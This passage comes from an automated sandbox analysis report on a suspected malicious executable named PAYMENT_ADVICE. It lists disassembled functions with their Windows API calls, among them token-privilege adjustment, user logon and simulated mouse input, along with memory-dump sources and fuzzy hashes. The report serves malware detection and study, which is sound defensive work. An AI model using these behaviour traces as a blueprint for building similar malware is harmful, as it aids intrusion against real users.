                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Find$CloseFileFirst
                                                              • String ID:
                                                              • API String ID: 2295610775-0
                                                              • Opcode ID: 0ba1bb2c969c7dfcf2ba0e2404e9a5d78059d2fe7d83226a6e75d13cafecba8c
                                                              • Instruction ID: 42b89b097316f5538b354cb3d8b9a137904ec3fe6c02b6ed1aa24553936cd8bc
                                                              • Opcode Fuzzy Hash: 0ba1bb2c969c7dfcf2ba0e2404e9a5d78059d2fe7d83226a6e75d13cafecba8c
                                                              • Instruction Fuzzy Hash: 13115E766106049FDB11DF29D845A2AF7E9EF85324F01851EF9AADB291DB30B805CB81
                                                              Function 003AA06A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,003B9468,?,003CFB84,?), ref: 003AA097
                                                              • FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,003B9468,?,003CFB84,?), ref: 003AA0A9
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ErrorFormatLastMessage
                                                              • String ID:
                                                              • API String ID: 3479602957-0
                                                              • Opcode ID: a40b32980b09dca819941e9230022f64f80accb988017cd8cc9506319175128f
                                                              • Instruction ID: a8c631cd6317b46f900ec334f69b71b5558781ba4549c91cced70d0bc39358fe
                                                              • Opcode Fuzzy Hash: a40b32980b09dca819941e9230022f64f80accb988017cd8cc9506319175128f
                                                              • Instruction Fuzzy Hash: EEF0823651522DBBDB629FA4CC48FEA776DFF09361F008165F909D6181D730A944CBA1
                                                              Function 003981CB Relevance: 3.0, APIs: 2, Instructions: 22COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00398309), ref: 003981E0
                                                              • CloseHandle.KERNEL32(?,?,00398309), ref: 003981F2
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: AdjustCloseHandlePrivilegesToken
                                                              • String ID:
                                                              • API String ID: 81990902-0
                                                              • Opcode ID: 68c9016597312a3843a3a4c1686a6cffc7f016528c158211c87d7c17c1c7a3be
                                                              • Instruction ID: ffc842f8062377361415e973faf860366a6a90fb3d44e1eff63b95ec1e193ddc
                                                              • Opcode Fuzzy Hash: 68c9016597312a3843a3a4c1686a6cffc7f016528c158211c87d7c17c1c7a3be
                                                              • Instruction Fuzzy Hash: EBE0B672010A20AEEB272B60EC09D777BAEEF44310B148829B8A6C4475DB62AC91DB14
                                                              Function 0036A155 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • SetUnhandledExceptionFilter.KERNEL32(00000000,?,00368D57,?,?,?,00000001), ref: 0036A15A
                                                              • UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 0036A163
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ExceptionFilterUnhandled
                                                              • String ID:
                                                              • API String ID: 3192549508-0
                                                              • Opcode ID: 80066a17d61224719bcfd67e7de031ed731fc0b2a70e43f52ccc3a4479637432
                                                              • Instruction ID: 9662621202b121151370905b5c84057a9e8589d17773eeed5b99fff3742932b4
                                                              • Opcode Fuzzy Hash: 80066a17d61224719bcfd67e7de031ed731fc0b2a70e43f52ccc3a4479637432
                                                              • Instruction Fuzzy Hash: 47B09235054248BFCA022B91EC09F883F6EEB84BA2F404020FA0DC4060CB6266508B91
                                                              Function 0036F1D9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 7a81d0d585199ab859bd360904c7c3add7fa6e340ca80e9e1806c6e1aba9732d
                                                              • Instruction ID: b293a8bced93cd39bcede41ba292ba0a6ebf58d1c918d5af701560acced2801b
                                                              • Opcode Fuzzy Hash: 7a81d0d585199ab859bd360904c7c3add7fa6e340ca80e9e1806c6e1aba9732d
                                                              • Instruction Fuzzy Hash: 6832F426D2AF414DD7239634E832335A38DAFB73D5F55D737E81AB5AA9EB28C4834100
                                                              Function 0037242E Relevance: 1.8, APIs: 1, Instructions: 294COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 4a6c46a8d3d2d29eef4a73a0f2e8b1af26d2654e412811a61722057259f76e6b
                                                              • Instruction ID: 2a729c34657995584f8fce06ebaf5143415579a231e174854d7f9fd1b56be413
                                                              • Opcode Fuzzy Hash: 4a6c46a8d3d2d29eef4a73a0f2e8b1af26d2654e412811a61722057259f76e6b
                                                              • Instruction Fuzzy Hash: 42B1F120E2AF414DD72396399931336BB5CAFBB2D5F52D71BFC2A74E22EB2185834141
                                                              Function 003A4C27 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 003A4C4A
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: mouse_event
                                                              • String ID:
                                                              • API String ID: 2434400541-0
                                                              • Opcode ID: 51cec7d80d6afed14f237c0ac160ef401231e93478a246643e3b8a5a98886aa5
                                                              • Instruction ID: 4cafddca28b932fca62f5dfe0c4293384709dea2d1d20985f2a2b9c47c628475
                                                              • Opcode Fuzzy Hash: 51cec7d80d6afed14f237c0ac160ef401231e93478a246643e3b8a5a98886aa5
                                                              • Instruction Fuzzy Hash: 4DD05E9916520978EC1E0720AE0FF7A410CE3D37A2FD18149720ACA0C1FCD06C406130
                                                              Function 003987B1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00398389), ref: 003987D1
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: LogonUser
                                                              • String ID:
                                                              • API String ID: 1244722697-0
                                                              • Opcode ID: 62fc4445b00a31f26f91c33b9f663af35fd553a28bdec64c6c741757f5c9415a
                                                              • Instruction ID: e5519b0abcb716acfb599c30975b98c02981ffdb91e67160a53e5cc97ef2f8b7
                                                              • Opcode Fuzzy Hash: 62fc4445b00a31f26f91c33b9f663af35fd553a28bdec64c6c741757f5c9415a
                                                              • Instruction Fuzzy Hash: F3D05E3226050EAFEF019EA4DC01EBE3B6AEB04B01F408111FE15C50A1C775E835AB60
                                                              Function 0036A124 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetUnhandledExceptionFilter.KERNEL32(?), ref: 0036A12A
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ExceptionFilterUnhandled
                                                              • String ID:
                                                              • API String ID: 3192549508-0
                                                              • Opcode ID: 3a05c1f2d67906932a194d85ea3797e36fc41065210813540e99d53e520cab66
                                                              • Instruction ID: 12ca8c5472b1c937089a1010175d978ca261ef9d24051b911c9533b9de4ddb52
                                                              • Opcode Fuzzy Hash: 3a05c1f2d67906932a194d85ea3797e36fc41065210813540e99d53e520cab66
                                                              • Instruction Fuzzy Hash: F1A0113000020CBB8A022B82EC08888BFAEEA802A0B008020F80C800228B32AA208A80
                                                              Function 00358808 Relevance: .6, Instructions: 590COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 316002f89f9f53e2d1fea59798b575bdb7bcdab01980e690446c591b6dba4c3f
                                                              • Instruction ID: 302e11464f74a596c43f0d280db53d0ec874520fc454104fdb86dc1350eacc6d
                                                              • Opcode Fuzzy Hash: 316002f89f9f53e2d1fea59798b575bdb7bcdab01980e690446c591b6dba4c3f
                                                              • Instruction Fuzzy Hash: EF221530A04546CBDF2B8B14C494B7C77B5FB01306F2A846ADD86AB9A2DB70DD9AC741
                                                              Function 003621C5 Relevance: .3, Instructions: 345COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
                                                              • Instruction ID: 85380d2d9f2e3314a3db667886187a9941c31b42b9ae8fd72f1966be194b8039
                                                              • Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
                                                              • Instruction Fuzzy Hash: 1DC184362055930ADF6F463A847403FFAA15EA27B131F876DD8B3CB5D8EE20C965D620
                                                              Function 003625FA Relevance: .3, Instructions: 341COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
                                                              • Instruction ID: 46fd985755d35655771a00196b6f982ecd054c14570a801d2451a8b5b262341b
                                                              • Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
                                                              • Instruction Fuzzy Hash: 98C195322055930ADF6F463AC43443FBAA15EA27B131F876DD4B3DB1D9EE50C925E620
                                                              Function 00361978 Relevance: .3, Instructions: 323COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                              • Instruction ID: 59bc2b18b820ebda61efb1d8ccc3551208d34ba4458734af85810cfbdba580bf
                                                              • Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                              • Instruction Fuzzy Hash: 92C180322091930ADF6E463AC47413EFBA15EA27B131F876DD4B3CB1D8EE60C965D660
                                                              Function 00D93620 Relevance: .1, Instructions: 92COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2050897221.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d90000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                              • Instruction ID: 903c19057a4577054daf20c41f017230b63d5b8030a5a0c75928e5a3c4b9a3da
                                                              • Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                              • Instruction Fuzzy Hash: 1F41D5B1D1051CEBCF48CFADC991AEEBBF1AF88201F548299D516AB345D730AB41DB50
                                                              Function 00D93510 Relevance: .0, Instructions: 35COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2050897221.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d90000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                              • Instruction ID: e6480ee63a4493cb360a17c71c846bf98856b636d1f6a670acfc033f07c8f1ba
                                                              • Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                              • Instruction Fuzzy Hash: C1019278A00209EFCB84DF98C5909AEF7B5FB48310F208599E819A7701D730EE51DB90
                                                              Function 00D934B0 Relevance: .0, Instructions: 35COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2050897221.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d90000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                              • Instruction ID: d2b1230a223f0916061e82efa92f533129aace66b83ca8c598256532a2963240
                                                              • Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                              • Instruction Fuzzy Hash: 17019278A01109EFCB44DF98C5909AEF7B5FB48310F248599E819A7701D730AE41DB90
                                                              Function 00D91E70 Relevance: .0, Instructions: 6COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2050897221.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d90000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                              • Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
                                                              • Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                              • Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48
                                                              Function 003B7806 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • DeleteObject.GDI32(00000000), ref: 003B785B
                                                              • DeleteObject.GDI32(00000000), ref: 003B786D
                                                              • DestroyWindow.USER32 ref: 003B787B
                                                              • GetDesktopWindow.USER32 ref: 003B7895
                                                              • GetWindowRect.USER32(00000000), ref: 003B789C
                                                              • SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 003B79DD
                                                              • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 003B79ED
                                                              • CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003B7A35
                                                              • GetClientRect.USER32(00000000,?), ref: 003B7A41
                                                              • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 003B7A7B
                                                              • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003B7A9D
                                                              • GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003B7AB0
                                                              • GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003B7ABB
                                                              • GlobalLock.KERNEL32(00000000), ref: 003B7AC4
                                                              • ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003B7AD3
                                                              • GlobalUnlock.KERNEL32(00000000), ref: 003B7ADC
                                                              • CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003B7AE3
                                                              • GlobalFree.KERNEL32(00000000), ref: 003B7AEE
